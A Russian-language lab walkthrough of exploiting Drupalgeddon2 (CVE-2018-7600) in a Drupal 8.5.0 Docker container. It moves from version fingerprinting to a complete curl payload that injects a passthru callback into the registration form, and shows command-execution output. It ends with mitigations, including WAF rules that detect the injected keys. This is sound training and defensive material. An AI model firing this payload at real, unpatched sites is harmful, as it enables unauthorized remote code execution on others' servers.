
Пошаговое лабораторное руководство по эксплуатации CVE-2018-7600 (Drupalgeddon2) RCE в Drupal 8.5.0, охватывающее анализ поверхности атаки, определение версии и эксплуатацию через инъекцию в Form API.
Начните с перечисления запущенных контейнеров:
docker ps
Из результатов docker ps контейнер для этой лабораторной работы:

p1/lab09:latest
Этот контейнер открывает порт:
0.0.0.0:8011->80/tcp
Это означает, что сервис внутри контейнера прослушивает порт 80/tcp и сопоставлен с портом 8011 на хосте.
Порт 80/tcp является стандартным портом для HTTP. Следовательно, эта лабораторная цель, скорее всего, является HTTP-веб-приложением. Чтобы подтвердить веб-сервис, я отправляю HTTP-запрос с помощью curl вместе с доступом к графическому интерфейсу веб-страницы.
curl -i http://192.168.3.137:8011/


Оценка поверхности атаки
Из HTTP-ответа и веб-интерфейса была получена следующая информация:
Web server: Apache/2.4.25 (Debian) Backend: PHP/7.2.3 CMS: Drupal Drupal version: 8.5.0 Install path: /core/install.php Public port: 8011 -> 80/tcp
Эта информация служит важными отпечатками (fingerprints) для сопоставления с CVE. В частности, Drupal 8.5.0 — это версия, напрямую связанная с CVE-2018-7600, также известной как Drupalgeddon2.
Согласно официальному уведомлению Drupal, SA-CORE-2018-002 / CVE-2018-7600 затрагивает следующие версии:
>= 8.5.0 < 8.5.1
Текущая цель работает на:
Drupal 8.5.0
следовательно, попадает в диапазон затронутых версий.
⇒ Рассуждение:
На данном этапе Drupal версии 8.5.0 является веским доказательством для идентификации предполагаемой CVE. Я рассуждаю следующим образом:
docker ps показывает, что лабораторная работа открывает HTTP-сервис через порт 8011.curl -i возвращает корректный HTTP-ответ от Apache/PHP./core/install.php.Drupal >=8.5.0 <8.5.1 затронут CVE-2018-7600.Drupal 8.5.0, что соответствует критериям версии для тестирования CVE-2018-7600.Цель — Drupal 8.5.0, работающий на Apache/PHP. Эта версия находится в диапазоне, затронутом CVE-2018-7600, согласно официальному уведомлению Drupal. Следующий шаг — проверить фактические условия эксплуатации, чтобы убедиться, можно ли добиться RCE на цели.

Из предыдущего шага снятия отпечатков (fingerprinting) цель явно отображает: Drupal 8.5.0. Согласно официальному уведомлению Drupal, уязвимость SA-CORE-2018-002 / CVE-2018-7600 затрагивает версии ядра Drupal:
>= 8.5.0 < 8.5.1. Текущая цель работает точно на Drupal 8.5.0, что помещает её в диапазон затронутых версий. Согласно уведомлению Drupal, это уязвимость удалённого выполнения кода (Remote Code Execution) в ядре Drupal, которая может позволить атакующему использовать множественные векторы атаки и привести к компрометации всего сайта.
Однако можно видеть, что цель перенаправляет на /core/install.php, а графический интерфейс отображает экран установки Drupal. Это позволяет предположить, что Drupal может находиться в состоянии незавершённой установки. Если настройка сайта не была завершена, общие конечные точки, используемые для запуска Drupalgeddon2, такие как /user/register, /user/password и /user/login, могут работать некорректно. Поэтому необходимо проверить эти конечные точки.
curl -i http://192.168.3.137:8011/user/register curl -i http://192.168.3.137:8011/user/password curl -i http://192.168.3.137:8011/user/login

Видно, что конечные точки по-прежнему перенаправляются на /core/install.php
Вывод:
Цель работает на Drupal 8.5.0, что попадает в диапазон версий, затронутых CVE-2018-7600, согласно официальному уведомлению Drupal. Однако на момент тестирования приложение находится в состоянии установщика и постоянно перенаправляет маршруты, такие как /user/register, /user/password и /user/login, на /core/install.php.
Это показывает, что конечные точки, обычно используемые для проверки Drupalgeddon2, ещё не работают так, как на полностью установленном сайте Drupal. Следовательно, цель в настоящее время удовлетворяет только условию версии, но ещё не удовлетворяет условиям времени выполнения для демонстрации удалённого выполнения кода.
=> Рассуждение:
Нам нужно дополнительно доказать, что Drupal в своём состоянии выполнения может обрабатывать уязвимые маршруты/формы, что атакующий может получить доступ к конечным точкам без аутентификации и что проверочные полезные нагрузки, такие как id, могут успешно выполняться.
На текущей цели конечные точки перенаправляются на установщик, поэтому следующий путь — оценить, создаёт ли экран установки Drupal собственную поверхность атаки, вместо того чтобы сразу делать вывод об RCE через Drupalgeddon2.
После проверки того, что конечные точки выполнения Drupal, такие как /user/register, /user/password и /user/login, все перенаправляются на /core/install.php, я перешёл к анализу экрана установщика.
Проверка службы базы данных, поддерживающей установщик
Поскольку установщик Drupal в настоящее время остановлен на этапе настройки базы данных, я проверил, открыты ли наружу общие службы баз данных:
nmap -sV -p 3306,5432,33060 192.168.3.137

Цель в настоящее время открывает наружу установщик Drupal, но службы баз данных, доступные напрямую с машины атакующего, не обнаружены.
Вывод: Лабораторная работа открывает установщик Drupal 8.5.0 и имеет раскрытие информации об уязвимой версии. CVE-2018-7600 является действительным предполагаемым вектором, но успешная эксплуатация ещё не доказана.
CVE-2018-7600 использует уязвимость в Drupal Form API — системе рендеринга форм, которая использует структуру Render Array. При обработке AJAX-запроса Drupal использует параметр element_parents для поиска элементов в дереве формы, не проверяя (не очищая) ключи, начинающиеся с символа #. Атакующие внедряют такие свойства, как #post_render, #markup и #type, через POST-данные, чтобы заставить механизм рендеринга выполнять произвольные PHP-функции (например, exec, passthru, system).
Предварительное условие: По крайней мере одна конечная точка, использующая Form API, должна возвращать корректный ответ (не перенаправление, не заблокированный контролем доступа), чтобы атакующий мог отправить AJAX-запрос, содержащий полезную нагрузку.
Обычно используемые конечные точки в публичных PoC:
/user/register (форма регистрации — вход не требуется)/user/password (форма восстановления пароля — вход не требуется)/user/login (форма входа — вход не требуется)На текущей цели: Все 3 вышеуказанные конечные точки перенаправляются через 302 на /core/install.php ⇒ условие не выполнено
Уязвимость возникает в конвейере обработки AJAX в Form API: FormBuilder → RenderArray → выполнение обратного вызова #post_render. Этот конвейер работает только когда Drupal загружает все необходимые подсистемы (маршрутизацию, состояние формы, механизм рендеринга).
В состоянии установщика Drupal работает в режиме минимальной загрузки (minimal bootstrap) — инициализируется ровно столько, сколько нужно для отображения формы установки, но такие подсистемы, как маршрутизация, AJAX-обработчик и полный конвейер рендеринга, могут ещё не быть полностью активированы.
На текущей цели: Drupal находится в состоянии установщика ⇒ требуется дальнейшая проверка
# в запросахОфициальный патч Drupal добавляет класс RequestSanitizer с методом stripDangerousValues() — сканирующим все $_GET, $_POST и $_COOKIE и удаляющим любые ключи, начинающиеся с #, на ранних этапах загрузки.
Если цель не пропатчена (работает на 8.5.0), класс RequestSanitizer не существует → ввод, содержащий #, не будет фильтроваться ⇒ условие выполнено
Вывод: Цель удовлетворяет условию версии и условию отсутствия патча. Однако условия доступной конечной точки и полной загрузки ещё не доказаны из-за того, что Drupal находится в состоянии установщика. Следующий шаг — проверить, можно ли использовать форму установщика (/core/install.php) — которая также использует Form API и Render Array — в качестве замены стандартных конечных точек.
После определения того, что цель работает на Drupal 8.5.0 в состоянии установщика, стандартные конечные точки, обычно используемые для эксплуатации CVE-2018-7600, такие как /user/register, /user/password и /user/login, все перенаправляются на /core/install.php. Я предположил, что это может быть связано с тем, что я не завершил настройку интерфейса, но всё равно захотел исследовать дальше.
После проверки было обнаружено, что форма установщика использует ту же уязвимую Form API и механизм Render Array. Однако AJAX-конвейер требует работы Form Cache — который по умолчанию использует базу данных в качестве бэкенда. Поскольку базы данных ещё нет, AJAX-запрос к форме установщика возвращает FormAjaxException в FormBuilder.php:333, что подтверждает, что конвейер активирован, но завершился ошибкой на этапе загрузки кэша.
Рассуждение: Я установлю Drupal с использованием SQLite — базы данных, которая не требует выделенного сервера, а только права на запись в файлы на диске контейнера.
Когда Drupal работает, конечная точка /user/register функционирует нормально и служит точкой внедрения. Полезная нагрузка использует механизм внедрения в render array:
element_parents=account/mail/%23value — находит поле mail в дереве формыmail[#post_render][]=passthru — внедряет функцию обратного вызова passthru()mail[#markup]=id — содержимое, передаваемое passthru() в качестве аргументаcurl -v "http://192.168.3.137:8011/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id"

Анализ ответа:
Результат uid=33(www-data) указывает на то, что полезная нагрузка была выполнена в операционной системе с привилегиями пользователя www-data. Это пользователь, который обычно используется для запуска веб-сервера Apache/PHP на Linux на базе Debian. Поскольку команда id выполнилась на стороне сервера и вернула вывод, успешное удалённое выполнение кода подтверждено. Однако текущая привилегия — www-data, а не root, поэтому первоначальная область контроля ограничена правами веб-сервера.
Контроль доступа к конечным точкам
Если сайт не требует публичной регистрации пользователей, отключите конечную точку /user/register:
Правила WAF — блокировка характерных полезных нагрузок
Добавьте правила WAF для блокировки запросов, содержащих такие ключи, как #post_render, #pre_render или #markup, в теле POST:
SecRule REQUEST_BODY "@contains #post_render" "deny,status:403"
SecRule REQUEST_BODY "@contains #pre_render" "deny,status:403"
SecRule ARGS_NAMES "@rx ^#" "deny,status:403"
Принцип минимальных привилегий для веб-сервера
Веб-сервер не должен работать с привилегиями root. Результаты лабораторной работы подтверждают, что процесс работает как uid=33(www-data) — это правильная конфигурация, но следует внести следующие улучшения:
www-data строго необходимыми каталогами (sites/default/files/)/var/www/html/core/, /var/www/html/modules/)Не открывайте установщик в Интернет
В этой лабораторной работе установщик является публичным — атакующий может использовать это для переустановки Drupal с помощью SQLite и проведения эксплуатации. В реальной производственной среде требуется:
/core/install.php после завершения установки.htaccess или конфигурацию веб-сервера для блокировки внешнего доступа к /core/install.php<Files "install.php">
Order deny,allow
Deny from all
</Files>